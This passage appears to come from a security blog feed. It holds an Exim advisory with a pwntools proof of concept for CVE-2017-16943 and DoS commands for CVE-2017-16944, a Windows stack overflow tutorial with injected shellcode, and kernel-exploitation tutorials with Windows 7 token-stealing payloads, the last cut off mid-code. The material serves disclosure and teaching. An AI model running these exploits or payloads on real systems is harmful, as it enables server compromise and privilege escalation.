  2. End DATA transfer and start a new email Restart to send an email with BDAT command after the heap chunk is prepared.
  3. Adjust yield_length again Send invalid command with an unprintable charater again to cut the current_block.

Finally the heap layout is like:

And now we can go back to the step 2 at the beginning and create the same situation. When next->text is freed, it goes back to unsorted bin and we are able to overwrite libc global variables again. The following is the PoC for default configured exim:

# CVE-2017-16943 PoC by meh at DEVCORE
# pip install pwntools
from pwn import *

r = remote('localhost', 25)

r.recvline()
r.sendline("EHLO test")
r.recvuntil("250 HELP")
r.sendline("MAIL FROM:<>")
r.recvline()
r.sendline("RCPT TO:<[email protected]>")
r.recvline()
r.sendline('a'*0x1280+'\x7f')
r.recvuntil('command')
r.sendline('DATA')
r.recvuntil('itself\r\n')
r.sendline('b'*0x4000+':\r\n')
r.sendline('.\r\n')
r.sendline('.\r\n')
r.recvline()
r.sendline("MAIL FROM:<>")
r.recvline()
r.sendline("RCPT TO:<[email protected]>")
r.recvline()
r.sendline('a'*0x3480+'\x7f')
r.recvuntil('command')
r.sendline('BDAT 1')
r.sendline(':BDAT \x7f')
s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ':\r\n')
r.send('\n')
r.interactive()

A demo of our exploit is as below. Note that we have not found a way to leak memory address and therefore we use heap spray instead. It requires another information leakage vulnerability to overcome the PIE mitigation on x86-64.

Incorrect BDAT data handling leads to DoS

Vulnerability Analysis

When receiving data with BDAT command, SMTP server should not consider a single dot ‘.’ in a line to be the end of message. However, we found exim does in receive_msg when parsing header. Like the following output:

220 devco.re ESMTP Exim 4.90devstart_213-7c6ec81-XX Mon, 27 Nov 2017 16:58:20 +0800
EHLO test
250-devco.re Hello root at test
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-AUTH PLAIN LOGIN CRAM-MD5
250-CHUNKING
250-STARTTLS
250-PRDR
250 HELP
MAIL FROM:<[email protected]>
250 OK
RCPT TO:<[email protected]>
250 Accepted
BDAT 10
.
250- 10 byte chunk, total 0
250 OK id=1eJFGW-000CB0-1R

As we mentioned before, exim uses function pointers to switch input source. This bug makes exim go into an incorrect state because the function pointer receive_getc is not reset. If the next command is also a BDAT, receive_getc and lwr_receive_getc become the same and an infinite loop occurs inside bdat_getc. Program crashes due to stack exhaustion. smtp_in.c: 546 bdat_getc

  if (chunking_data_left > 0)
    return lwr_receive_getc(chunking_data_left--);

This is not enough to pose a threat because exim runs a fork server. After a further analysis, we made exim go into an infinite loop without crashing, using the following commands.

# CVE-2017-16944 PoC by meh at DEVCORE

EHLO localhost
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
BDAT 100
.
MAIL FROM:<[email protected]>
RCPT TO:<[email protected]>
BDAT 0 LAST

This makes attackers able to launch a resource based DoS attack and then force the whole server down.

Fix

  • Turn off Chunking option in config file:
    chunking_advertise_hosts =
    
  • Update to 4.89.1 version
  • Patch of CVE-2017-16943 released here
  • Patch of CVE-2017-16944 released here

Timeline

  • 23 November, 2017 09:40 Report to Exim Bugzilla
  • 25 November, 2017 16:27 CVE-2017-16943 Patch released
  • 28 November, 2017 16:27 CVE-2017-16944 Patch released
  • 3 December, 2017 13:15 Send an advisory release notification to Exim and wait for reply until now

Remarks

While we were trying to report these bugs to exim, we could not find any method for security report. Therefore, we followed the link on the official site for bug report and found the security option. Unexpectedly, the Bugzilla posts all bugs publicly and therefore the PoC was leaked. Exim team responded rapidly and improved their security report process by adding a notification for security reports in reaction to this.

Credits

Vulnerabilities found by Meh, DEVCORE research team. meh [at] devco [dot] re

Reference

https://bugs.exim.org/show_bug.cgi?id=2199 https://bugs.exim.org/show_bug.cgi?id=2201 https://nvd.nist.gov/vuln/detail/CVE-2017-16943 https://nvd.nist.gov/vuln/detail/CVE-2017-16944 https://lists.exim.org/lurker/message/20171125.034842.d1d75cac.en.html

Exim RCE 資安通報 (CVE-2017-16943)

10 December 2017 at 16:00

內容

2017/11/23 我們發現 Unix 的開源軟體 EXIM 含有 Use-After-Free 弱點(CVE-2017-16943)以及 Denial-of-Service 弱點(CVE-2017-16944),當 EXIM 版本是 4.88 或 4.89 並且有開啟 chunking 選項(BDAT 指令)時,攻擊者可傳送特定字串給 EXIM 觸發弱點,可能造成郵件伺服器被遠端攻擊者入侵或是郵件伺服器無法繼續提供服務

根據 E-Soft Inc. 在 11 月所做的調查,約有 57萬台(56%)的郵件伺服器使用 EXIM 軟體。建議 EXIM 的使用者檢查版本是否為 4.88 或 4.89,若是,則需修改 EXIM 的設定,將 chunking 選項關閉(在 config 裡將 chunking_advertise_hosts 選項留空),或是更新至 4.89.1 版,以避免遭受攻擊。

細節

詳細的技術細節請參閱我們的 Advisory: https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/

Stack Based Buffer Overflows on x86 (Windows) – Part II

19 December 2017 at 23:17

In the first part of this article, we discussed about the basics that we need to have in order to properly understand this type of vulnerability. As we went through how the compiling process works, how assembly looks like and how the stack works, we can go further and explore how a Stack Based Buffer Overflow vulnerability can be exploited.

Introduction

We previously discussed that the stack (during a function call) contains the following (in the below order, where the “local variables” are stored at the “smallest address” and “function parameters” are stored at the highest address):

  • Local variables of the function (for example 20 bytes)
  • Previous EBP value (to create the stack frame, saved with PUSH EBP)
  • Return address (placed on the stack by the CALL instruction)
  • Parameters of the function (placed on the stack using PUSH instructions)

If you can understand those things, it is easy to understand the Stack Based Buffer Overflow vulnerability. Let’s take the following example. We have the following function, called from “main” function:

#define _CRT_SECURE_NO_WARNINGS

#include "stdafx.h"
#include <stdio.h> 
#include <string.h>

// Function that displays the name 
void Display(char *p_pcName) 
{ 
    // Buffer (local variable) that will store the name 
    char buffer[20]; 
 
    // We copy the name in buffer 
    strcpy(buffer, p_pcName); 
 
    // Display the name 
    printf("Hello: %s", buffer); 
}

// Main function
int main() 
{ 
    Display("111122223333");
}

The program is very simple: it calls the “Display” function with the specified parameter.

We can see the problem here:

char buffer[20];
strcpy(buffer, p_pcName);

We have a local variable, buffer, which can store up to 20 bytes.

It is important to note that “char buffer[20]” is different from “char *buffer=(char*)malloc(20)” or “char *buffer=new char[20]“. Our version specifies that the buffer has 20 bytes which can be direclty allocated on the stack, it is a local variable that can store 20 bytes. The other two versions will dynamically allocate the space for the buffer, but the data will be stored on other memory region called “HEAP“, not on the stack. By the way, there are also “Heap Based Buffer Overflows“, but they are more complicated.

Having a local variable that can store 20 bytes on the stack, we will copy the string specified from the command line in that memory location. What happens if the length of the string received from command line is more that 20? We have a “buffer overflow”. The name of “Stack Based Buffer Overflow” comes from the fact that the buffer is stored on the stack.

Let’s see how the code is compiled. Please note that if you use a modern version of Visual Studio, you might get a totally different result. In order to keep everything simple, we should remove from project settings all optimizations, security features and functionalities that we don’t need.

Below is the compiled code of the main function:

000E1030 | 55             | push ebp            | Save previous EBP
000E1031 | 8B EC          | mov ebp,esp         | Create stack frame 
000E1033 | 68 0C 30 0E 00 | push sbof.E300C     | "111122223333"
000E1038 | E8 C3 FF FF FF | call <sbof.Display> | Call the function
000E103D | 83 C4 04       | add esp,4           | Clean the stack
000E1040 | 33 C0          | xor eax,eax         | eax = 0
000E1042 | 5D             | pop ebp             | Remove stack frame
000E1043 | C3             | ret                 | Return

As you can see, everything is as expected: there is only a PUSH for the “111122223333” string parameter, a function call and the stack is cleaned.

000E1000 | 55             | push ebp                      | 
000E1001 | 8B EC          | mov ebp,esp                   |

000E1003 | 83 EC 14       | sub esp,14                    | Allocate space on the stack for the buffer

000E1006 | 8B 45 08       | mov eax,dword ptr ss:[ebp+8]  | Get in EAX the string parameter address
000E1009 | 50             | push eax                      | Place it on the stack (second parameter)
000E100A | 8D 4D EC       | lea ecx,dword ptr ss:[ebp-14] | Get in EAX the address of the "buffer"
000E100D | 51             | push ecx                      | Place it on the stack (first parameter)
000E100E | E8 06 0C 00 00 | call <sbof.strcpy>            | Call strcpy(buffer, p_pcName); 
000E1013 | 83 C4 08       | add esp,8                     | Clean the stack

000E1016 | 8D 55 EC       | lea edx,dword ptr ss:[ebp-14] | Get in EAX the address of the "buffer"
000E1019 | 52             | push edx                      | Place it on the stack (second parameter)
000E101A | 68 00 30 0E 00 | push sbof.E3000               | "Hello: %s" string
000E101F | E8 6C 00 00 00 | call <sbof.printf>            | Call printf("Hello: %s", buffer);
000E1024 | 83 C4 08       | add esp,8                     | Clean the stack

000E1027 | 8B E5          | mov esp,ebp                   |
000E1029 | 5D             | pop ebp                       |
000E102A | C3             | ret                           |

The function allocates space for 20 bytes (0x14 in hexadecimal) and calls two functions:

  1. strcpy – with two parameters: the buffer and our string (111122223333)
  2. printf – with two parameters: “Hello, %s” string and  our string (111122223333)

Let’s see how the stack will look AFTER the strcpy function call, so after “add esp, 8” instruction:

00B9FED0 | 31313131 | "1111"
00B9FED4 | 32323232 | "2222"
00B9FED8 | 33333333 | "3333"
00B9FEDC | 770F8600 | The buffer has 20 bytes allocated, but there can be any data
00B9FEE0 | 000E12F7 | And those 8 bytes have junk data, as "111122223333" has 12 bytes and we allocated 20

00B9FEE4 | 00B9FEF0 | EBP saved on Display function first instruction
00B9FEE8 | 000E103D | Return address, the instruction after "call Display"
00B9FEEC | 000E300C | "111122223333" parameter for Display function
00B9FEF0 | 00B9FF38 | Previous EBP, from main function

As you can see, first 20 bytes (first 5 lines) represent the content of the “buffer”. We specified a string of 12 bytes (“111122223333”) and the rest of the string has junk data (it is not initialized with NULLs). However, please note that after “3333”, we have the following data: 770F8600. Last byte is a NULL byte and it was added by the “strcpy” function.

Now we can ask the question: “What will happen if the string parameter is longer than 20 bytes”? As you can probably guess, the answer is “We get a stack based buffer overflow”.

Exploitation

Let’s get back to the stack and see what we have there:

  1. The “buffer” (20 bytes)
  2. The Display function’s EBP
  3. The Return Address
  4. The parameter (the string)

What can go wrong? Let’s remember what will happen when a fuction returns (on RETN instruction): the execution continues from the “Return Address”. So, if we overflow the stack and overwrite the “Return Address” with someting else… we can control the execution of the program!

This is what will happen if we will use a string parameter of 28 bytes, instead of the maximum number of 20.

We will modify the call “Display(“111122223333”);” to “Display(“1111222233334444555566667777”);“. The stack will look like this:

00B9FED0 | 31313131 | "1111"
00B9FED4 | 32323232 | "2222"
00B9FED8 | 33333333 | "3333"
00B9FEDC | 34343434 | "4444"
00B9FEE0 | 35353535 | "5555"

00B9FEE4 | 36363636 | "6666" - EBP saved on Display function first instruction
00B9FEE8 | 37373737 | "7777" - Return address, the instruction after "call Display"
00B9FEEC | 000E300C | "111122223333" parameter for Display function
00B9FEF0 | 00B9FF38 | Previous EBP, from main function

This means, that when the execution of the “Display” function will be finished (at the RETN instruction), de execution will jump to the address “0x37373737”. So, in conclusion, the EIP value will be 0x37373737, a value that we control.

After the RETN instruction, the return address will be removed from the stack. This means that the top of the stack, the ESP register, will point to the address: 0x00B9FEEC. We can see that if we use a string larger than 28 bytes (20 bytes buffer + 4 bytes saved EBP + 4 bytes return address) we will overwrite data on stack. Since the ESP value will point to something that we control, how can we easily execute arbitrary code?

There are two things we control:

  1. The return address (EIP)
  2. The data at the top of the stack (ESP)

The easiest solution will be to find a “JMP ESP” instruction. For example, let’s assume that the code of our program, or one of the DLLs, have a JMP ESP instruction at address 0x12345678. What we will do, will be to replace the return address with the address of this instruction (0x012345678) instead of “0x37373737” and we can redirect the execution of the program to the top of the stack, where we can place any code and do whatever we want with the program!

Let’s open the program in x64dbg, an open-source debugger. A debugger is a program that allows you to open a program and step through instructions, allowing you to see at runtime the contents of the memory or the registers values. It is a powerful tool with mutiple features. Looking at the top of SBOF.exe program, we can see our two functions. Below is a screenshot.

x64 example

Click each “PUSH EBP” instructions at the beginning of the functions and press F2. This will place a breakpoint, so when you will run the program in the debugger, it will stop at those instructions. You can also use F7 to stept each instruction or F8 to step each instruction, but on CALL instructions, jump over the function call, do not dig into that one. Pressing F9 will run the program, and the debugger will stop at the selected breakpoints, or if some error will happen. It would be very useful to play around with the debugger to see how powerful are its features.

Now, in order to keep the things simple, we will modify the code to contain the “JMP ESP” instruction. We will add the following function:

// Function that does nothing, just contain jmo
void Nothing()
{
    __asm
    {
        jmp esp;
    }
}

As you can see in the debugger, the program contains also some other instructions and it uses DLLs (such as kernel32.dll, ntdll.dll) which also contain a lot of code. We can use all this code to search for a JMP ESP instruction inside it. Right click, go to “Search for” > “All Modules” > “Command”, type “jmp esp” and press OK.

x64 search jmp

In our case, with the new function that contains the “JMP ESP” instruction, we can find it at the following address:

01371033 | FF E4 | jmp esp |

x64 jmp esp

Please note that you might have totally different addresses since modern operating systems, for security reasons, randomize the memory addresses, you will find more details later, in this article.

So, in order to create a working proof of concept, we will have to do the following, to create the following string:

  1. First 20 bytes will be the buffer
  2. Second 4 bytes will overwrite the saved EBP
  3. Following 4 bytes will be 0x01371033 – the address of the JMP ESP instuction
  4. The next bytes will represent the code we want to execute

So, let’s change the main function to the following:

int main() 
{ 
    Display("111122223333444455556666\x33\x10\x37\x01\xcc\xcc\xcc\xcc");
}

As you can see, we have in our string, the 0x01371033 address, but it is in reverse order! This is because the data is stored as “little endian” in memory, as we discussed in the first part of the article. The following “cc”s, represent the “INT 3” instruction, an instruction that will pause the debugger like we set a breakpoint.

We can replace this with a shellcode. A shellcode is a special code, most of the time written in Assembly, that compiled, it works directly. Normal machine code will not work, because the strings for example are placed in different memory regions and the code knows the addresses of the functions, for a shellcode, the strings will be placed in the same place as the code and the shellcode will find itself the addresses of the functions. If you want to know in detail how a shellcode works on Windows and how you can manually write one, I recommend you the following articles:

  1. Introduction to Windows shellcode development – Part 1
  2. Introduction to Windows shellcode development – Part 2
  3. Introduction to Windows shellcode development – Part 3

In order to keep things simple, we will use an existing shellcode. We can use this one: User32-free Messagebox Shellcode for any Windows version.

We will modify the main function to include this code. It will look like this:

int main() 
{ 
    Display(
        "111122223333444455556666\x33\x10\x37\x01"
        "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
        "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
        "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
        "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
        "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
        "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
        "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
        "\x49\x0b\x31\xc0\x51\x50\xff\xd7"
    );
}

As you can see, we have:

  1. Some random data
  2. Followed by the “JMP ESP” address
  3. The shellcode we copied form the above link

Please note that all this data must not contain a NULL byte. As the vulnerable call is a call to “strcpy” function, the “strcpy” function will stop execution when it will encounter the first NULL byte and we will not have all the data copied.

Now, when we will execute this program, this will happen:

x64 shellcode ok

We exploited it! This is the result of the copied shellcode. We managed to execute arbitrary code, code that we supplied and got full access to the execution of the program.

Now, you might think this is not a useful example. Of course it is not, it is for educational purposes. A program might get the string from the command line, or from the network, and the same thing might happen. Here are some common cases where this vulnerability might be present:

  • Getting data from the command line
  • Parsing a document (such as XML, HTML, PDF)
  • Reading data from the network (such as a FTP server, HTTP server)

Protection mechanisms

There are a few protections build to pretect against this type of attacks. All modern compilers and operating systems should have them.

DEP – Data Execution Prevention – Is a protection mechanism that works at both hardware level (NX bit – “No eXecute”) and software level and it does not allow the execution of code from the memory regions that do not the have the “execute” permissions. A memory page can have “read”, “write” and/or “execute” permissions. For example, e memory region containing data, such as strings can have “read” or “read-write” permissions, and a memory region containing code will have “read-execute” permissions. The stack, read-write permissions, is a memory region where it shuld not exist the possibility to execute code from. However, without DEP protection, this is possible, and DEP will protect against execution of code from the stack. As you can probably understand, our shellcode was executed from the stack and this protection will block our attack. It can be enabled in the compiler from “Configuration Properties” > “Linker” > “Advaned” > “Data Execution Prevention (DEP)”.

ALSR – Address Space Layour Randomization, which was introduced in Windows Vista and it is the reason why it is easier to understand this vulnerability on Windows XP, is another protection mechanism that can protect against this type of attacks. As we discussed, the DLL’s and the executable can contain different instructions, such as “JMP ESP” that attackers can use. Before ASLR, the executable and the DLLs where always loaded in memory at the same address. For example, the SBOF.exe code would always start at 0x10002000 and kernel32.dll might be loaded always at some address. This means that attackers can use the instructions from those binaries. But with ASLR, all modules, and also the stack and the heap memory, will be loaded at random addresses. This way, we can find the address of a JMP ESP instruction, but it will not work on other machine as the address will be different (randomly generated), since the module containing the instruction was loaded at a different memory address. It is possible to activate this feature from “Configuration Properties” > “Linker” > “Advaned” > “Randomized Base Address”.

Stack Cookies – This is another protection mechanism, specially build against this type of attacks, and it is offered by the compiler. This works by placing at the beginning of a function a random value called “stack cookie”, before the local variables of the function (such as our buffer). What will happen in a stack based buffer oveflow, will be to overwrite the data following the buffer, and this will also overwrite this random variable. This protection, before the “RETN” instructions, will check the value of the randomly generated stack cookie. If a stack based buffer overflow will occur, the value will be changed and this verification will fail, so the program will forcely stop execution and the shellcode will not be executed. This protection can be configured from  “Configuration Properties” > “C/C++” > “Code Generation” > “Security Check”.

Conclusion

Even if it is not difficult to understand this type of vulnerability, the main difficulty is to learn a few concepts such as Assembly language and how programs work under the hood. Due to existing protection mechanisms, a real-life exploitation of this type of attack is way more difficult. However, there are a few tricks that can be used in certain situations to bypass some of protections (if other are not present) but this is not the purpose of this article.

My suggestion, in order to properly understand this vulnerability, would be to compile a program like this, disable all protections and see what happens. You can modify the size of the buffer but the most important is to go instruction with instruction and understand everything with all the details. You can download the source code from the above example from here.

If you have any questions, please leave a comment here and use the contact email.

[Kernel Exploitation] 1: Setting up the environment

1 January 2018 at 10:00

The HackSysExtremeVulnerableDriver by HackSysTeam always interested me and I got positive feedback on writing about it, so here we are.

Repo with all code can be found here.


This N-part tutorial will walk you through the kernel exploit development cycle. It’s important to notice that we will be dealing with known vulnerabilities, no reversing is needed (for the driver at least).

By the end of tutorial, you should be familiar with common vulnerability classes and how they’re exploited, able to port exploits from x86 to x64 arch (if possible) and be familiar with newer mitigations in Windows 10.

What’s kernel debugging?

Unlike user-mode debugging where you can pause execution of a single process, kernel-mode debugging breaks on the entire system, meaning you won’t be able to use it at all. A debugger machine is needed so you can communicate with the debuggee, observe memory or kernel data structures, or catch a crash.

Reading material:

What’s kernel exploitation?

Something more fun than user-mode exploitation ;)

The main goal is to gain execution with kernel-mode context. A successful exploit could result in elevated permissions and what you can do is only bound by your imagination (anywhere from cool homebrew to APT-sponsored malware).

Goal for this tutorial is getting a shell with SYSTEM permissions.

How will this tutorial be organized?

  • Part 1: Setting up the environment
    • Configure the 3 VMs + debuggee machine.
    • Configure WinDBG.
  • Part 2: Payloads
    • Placeholder for common payloads to be used later, this will allow us to focus on vulnerability-specific details in future posts and refer to this post when needed.
  • Part 3-N:
    • One or more post per vulnerability.

Kernel exploit development lifecycle

  1. Finding a vulnerability: This won’t be covered in this tutorial as we already know exactly where the vulnerabilities are.
  2. Hijacking execution flow: Some vulnerabilities allow code execution, others require more than that.
  3. Privilege escalation: Main goal will be to get a shell with SYSTEM privileges.
  4. Restore execution flow: Uncaught exceptions in kernel-mode result in a system crash. Unless a DoS exploit makes you sleep at night we need to address this.

What are the targets?

Exploitation will be attempted on the following targets (no specific version is needed yet):

  1. a Win7 x86 VM
  2. a Win7 x64 VM
  3. a Win10 x64 VM

Normally we’ll start with the x86 machine, followed by porting it to the Win7 x64 one. Some exploits won’t run on the Win10 machine due to some newer mitigations that are added. We’ll either have to tweak the exploit or come up with an entirely different approach.

What software do I need?


Setting up the debuggee machines

The debuggee is our guinea pig. We’ll use it to load the vulnerable driver and communicate with it. This machine will crash a lot as most exceptions in kernel will result in BSOD. Make sure you give it enough RAM.

Per debuggee:

  1. Inside the VirtualKD folder, run target\vminstall.exe. This will add a boot entry that has debugging enabled and connects automatically to the VirtualKD server on the debugger machine.
    For the Windows 10 VM, you need to enable test signing. This allows you to load unsigned drivers into the kernel.
    Running bcdedit /set testsinging on and rebooting will show “Test Mode” on the desktop.

    NOTE: Windows 10 supports communicating through the network and in my experience is usually faster. To do that, follow this.

  2. Run the OSR Driver Loader, register the service then start it. You may need to reboot.

  3. Optional: Install VM guest additions.

  4. Set up a low-priv account, this should be used while exploiting.

     C:\Windows\system32>net user low low /add
     The command completed successfully.
        
    

Setting up the debugger machine

This machine will be the one debugging the debuggee machine through WinDBG. You’ll be able to inspect memory and data structures and manipulate them if needed. Having a remote debugging session running when the debuggee crashes allows us to break into the VM and/or analyze a crash.

VirtualKD host will automatically communicate with a named pipe instead of setting it up manually. If you’re network debugging the Win10 VM, you’ll need to test the connection manually.

  1. Install the Windows SDK (link). You can select the “Debugging Tools for Windows” only.

  2. Verify that WinDBG is installed, Win10 SDK is by default installed in C:\Program Files (x86)\Windows Kits\10\Debuggers.
    Add it to the system path and set up the debugger path in VirtualKD.

Reboot one of the debuggee machines while the VirtualKD host is running on the debugger. You should be able to start a WinDBG session.


Setting up WinDBG

If everything is set up correctly, WinDBG will pause execution and print some info about the debuggee.

WinDBG_screenshot_1

Symbols contain debugging information for lots of Windows binaries. We can get them by executing the following:

.sympath srv*c:\Symbols*http://msdl.microsoft.com/download/symbols;C:\HEVD
.reload /f *.*

Enable verbose debugging:

ed nt!Kd_Default_Mask 0xf

You should be able to find the HEVD module loaded:

kd> lm m HEVD
Browse full module list
start             end                 module name
fffff80b`92b50000 fffff80b`92b59000   HEVD       (deferred)   

Save the workspace profile and any environment changes you made by selecting

File -> Save Workspace to File

This is a handy reference to commands used throughout the series.

Type g or hit F5 to continue execution.


HEVD Driver crash course

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {
    UINT32 i = 0;
    PDEVICE_OBJECT DeviceObject = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
    UNICODE_STRING DeviceName, DosDeviceName = {0};

    UNREFERENCED_PARAMETER(RegistryPath);
    PAGED_CODE();

    RtlInitUnicodeString(&DeviceName, L"\\Device\\HackSysExtremeVulnerableDriver");
    RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\HackSysExtremeVulnerableDriver");

    // Create the device
    Status = IoCreateDevice(DriverObject,
                            0,
                            &DeviceName,
                            FILE_DEVICE_UNKNOWN,
                            FILE_DEVICE_SECURE_OPEN,
                            FALSE,
                            &DeviceObject);
    
    ...
}
  • This routine contains an IoCreateDevice call that contains the driver name we’ll be using to communicate with it.

  • DriverObject will get populated with necesarry structures and function pointers.

  • What matters to us for HEVD is the function pointer assigned to DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] which is routine responsible for handling IOCTLs.

  • In HEVD, this function is called IrpDeviceIoCtlHandler and it’s basically a large switch case for every IOCTL. Ever vulnerability has a unique IOCTL.

Example: HACKSYS_EVD_IOCTL_STACK_OVERFLOW is the IOCTL used to trigger the stack overflow vulnerability.


That’s it! Next post will discuss payloads. For now, it’ll only include a generic token-stealing payload that’ll be used for part 3.


I’m aware this post doesn’t cover lots of issues you can run into. Due to the scope of this tutorial, you’ll need to figure out a lot on your own, but you’re welcome to comment with your questions if needed.

-Abatchy

[Kernel Exploitation] 2: Payloads

1 January 2018 at 10:00

This post is dedicated to dissecting payloads to be used later on in this tutorial. Whenever a payload is used, it will be added here.

Repo with all code can be found here.


  1. Token Stealing Payload

Some notes to keep in mind

  • Sometimes you’re able to control the return address of a function, in this case you can point it to your user-mode buffer only if SMEP is disabled.

  • Payloads have to reside in an executable memory segment. If you define it as a read-only hex string or any other combination that doesn’t have execute permissions, shellcode execution will fail due to DEP (Data Execution Prevention).

  • Payloads are in assembly. Unless you enjoy copying hex strings, I recommend compiling ASM on the fly in a Visual Studio project. This works for x86 and x64 payloads and saves you the headache of removing function prologues/epilogues, creating a RWX buffer and copying shellcode or not being able to write x64 ASM inline.

Setup can be found here.

Lots of other options exist like 1) using masm and copying shellcode to a RWX buffer at runtime, 2) using a naked function but that’s only for x86 or 3) inline ASM which again works only for x86.

Generic x86 payload wrapper

.386
.model flat, c ; cdecl / stdcall
ASSUME FS:NOTHING
.code
PUBLIC PAYLOAD
PAYLOAD   proc

; Payload here

PAYLOAD ENDP
end

Generic x64 payload wrapper

.code
PUBLIC PAYLOAD
PAYLOAD   proc

; Payload here

PAYLOAD ENDP
end

Process internals crash course

  • Every Windows process is represented by an EPROCESS structure.
      dt nt!_EPROCESS optional_process_address
    
  • Most of EPROCESS structures exist in kernel-space, PEB exists in user-space so user-mode code can interact with it. This stucture can be shown using dt nt!_PEB optional_process_address or !peb if you’re in a process context.

      kd> !process 0 0 explorer.exe
      PROCESS ffff9384fb0c35c0
          SessionId: 1  Cid: 0fc4    Peb: 00bc3000  ParentCid: 0fb4
          DirBase: 3a1df000  ObjectTable: ffffaa88aa0de500  HandleCount: 1729.
          Image: explorer.exe
        
      kd> .process /i ffff9384fb0c35c0
      You need to continue execution (press 'g' <enter>) for the context
      to be switched. When the debugger breaks in again, you will be in
      the new process context.
      kd> g
      Break instruction exception - code 80000003 (first chance)
      nt!DbgBreakPointWithStatus:
      fffff802`80002c60 cc              int     3
      kd> !peb
      PEB at 0000000000bc3000
          InheritedAddressSpace:    No
          ReadImageFileExecOptions: No
        
      ...
    
  • EPROCESS structure contains a Token field that tells the system what privileges this process holds. A privileged process (like System) is what we aim for. If we’re able to steal this token and overwrite the current process’s token with that value, current process will run with higher privileges than it’s intented to. This is called privilege escalation/elevation.

  • Offsets differ per operating system, you’ll need to update payloads with the appropriate values. WinDBG is your friend.

Token Stealing Payload

Imagine we can execute any code we want with the goal of replacing the current process token with a more privileged one, where do we go? PCR struct is an excellent option for us as its location doesn’t change. With some WinDBG help we’ll be able to find the EPROCESS of the current process and replace its token with that of System (PID 4).

1. Finding PCR

PCR is at a fixed location (gs:[0] and fs:[0] for x64/x86)

2. Locating PcrbData

kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : Ptr64 _KGDTENTRY64
   +0x008 TssBase          : Ptr64 _KTSS64
   +0x010 UserRsp          : Uint8B
   +0x018 Self             : Ptr64 _KPCR
   +0x020 CurrentPrcb      : Ptr64 _KPRCB
   +0x028 LockArray        : Ptr64 _KSPIN_LOCK_QUEUE
   +0x030 Used_Self        : Ptr64 Void
   +0x038 IdtBase          : Ptr64 _KIDTENTRY64
   +0x040 Unused           : [2] Uint8B
   +0x050 Irql             : UChar
   +0x051 SecondLevelCacheAssociativity : UChar
   +0x052 ObsoleteNumber   : UChar
   +0x053 Fill0            : UChar
   +0x054 Unused0          : [3] Uint4B
   +0x060 MajorVersion     : Uint2B
   +0x062 MinorVersion     : Uint2B
   +0x064 StallScaleFactor : Uint4B
   +0x068 Unused1          : [3] Ptr64 Void
   +0x080 KernelReserved   : [15] Uint4B
   +0x0bc SecondLevelCacheSize : Uint4B
   +0x0c0 HalReserved      : [16] Uint4B
   +0x100 Unused2          : Uint4B
   +0x108 KdVersionBlock   : Ptr64 Void
   +0x110 Unused3          : Ptr64 Void
   +0x118 PcrAlign1        : [24] Uint4B
   +0x180 Prcb             : _KPRCB                 <====

3. Locating CurrentThread

kd> dt nt!_KPRCB
   +0x000 MxCsr            : Uint4B
   +0x004 LegacyNumber     : UChar
   +0x005 ReservedMustBeZero : UChar
   +0x006 InterruptRequest : UChar
   +0x007 IdleHalt         : UChar
   +0x008 CurrentThread    : Ptr64 _KTHREAD         <====
   ...

4. Locating current process EPROCESS

More of the same, EPROCESS address is at _KTHREAD.ApcState.Process.

5. Locating SYSTEM EPROCESS

Using _EPROCESS.ActiveProcessLinks.Flink linked list we’re able to iterate over processes. Every iteration we need to check if UniqueProcessId equals 4 as that’s the System process PID.

6. Replacing the token

If it’s a match we overwrite the target process Token with that of SYSTEM.

Notice that Token is of type _EX_FAST_REF and the lower 4 bits aren’t part of it.

kd> dt _EX_FAST_REF
ntdll!_EX_FAST_REF
   +0x000 Object           : Ptr64 Void
   +0x000 RefCnt           : Pos 0, 4 Bits
   +0x000 Value            : Uint8B

Normally you want to keep that value when replacing the token, but I haven’t run into issues for not replacing it before.


Token Stealing Payload Windows 7 x86 SP1

.386
.model flat, c ; cdecl / stdcall
ASSUME FS:NOTHING
.code
PUBLIC StealToken
StealToken   proc

pushad                              ; Save registers state

; Start of Token Stealing Stub
xor eax, eax                        ; Set ZERO
mov eax, DWORD PTR fs:[eax + 124h]  ; Get nt!_KPCR.PcrbData.CurrentThread
                                    ; _KTHREAD is located at FS : [0x124]

mov eax, [eax + 50h]                ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax                        ; Copy current process _EPROCESS structure
mov edx, 04h                        ; WIN 7 SP1 SYSTEM process PID = 0x4

SearchSystemPID:
mov eax, [eax + 0B8h]               ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0B8h
cmp[eax + 0B4h], edx                ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID

mov edx, [eax + 0F8h]               ; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + 0F8h], edx                ; Replace target process nt!_EPROCESS.Token
                                    ; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub

StealToken ENDP
end

Token Stealing Payload Windows 7 x64

.code
PUBLIC GetToken
GetToken   proc

; Start of Token Stealing Stub
xor rax, rax                    ; Set ZERO
mov rax, gs:[rax + 188h]        ; Get nt!_KPCR.PcrbData.CurrentThread
                                ; _KTHREAD is located at GS : [0x188]

mov rax, [rax + 70h]            ; Get nt!_KTHREAD.ApcState.Process
mov rcx, rax                    ; Copy current process _EPROCESS structure
mov r11, rcx                    ; Store Token.RefCnt
and r11, 7

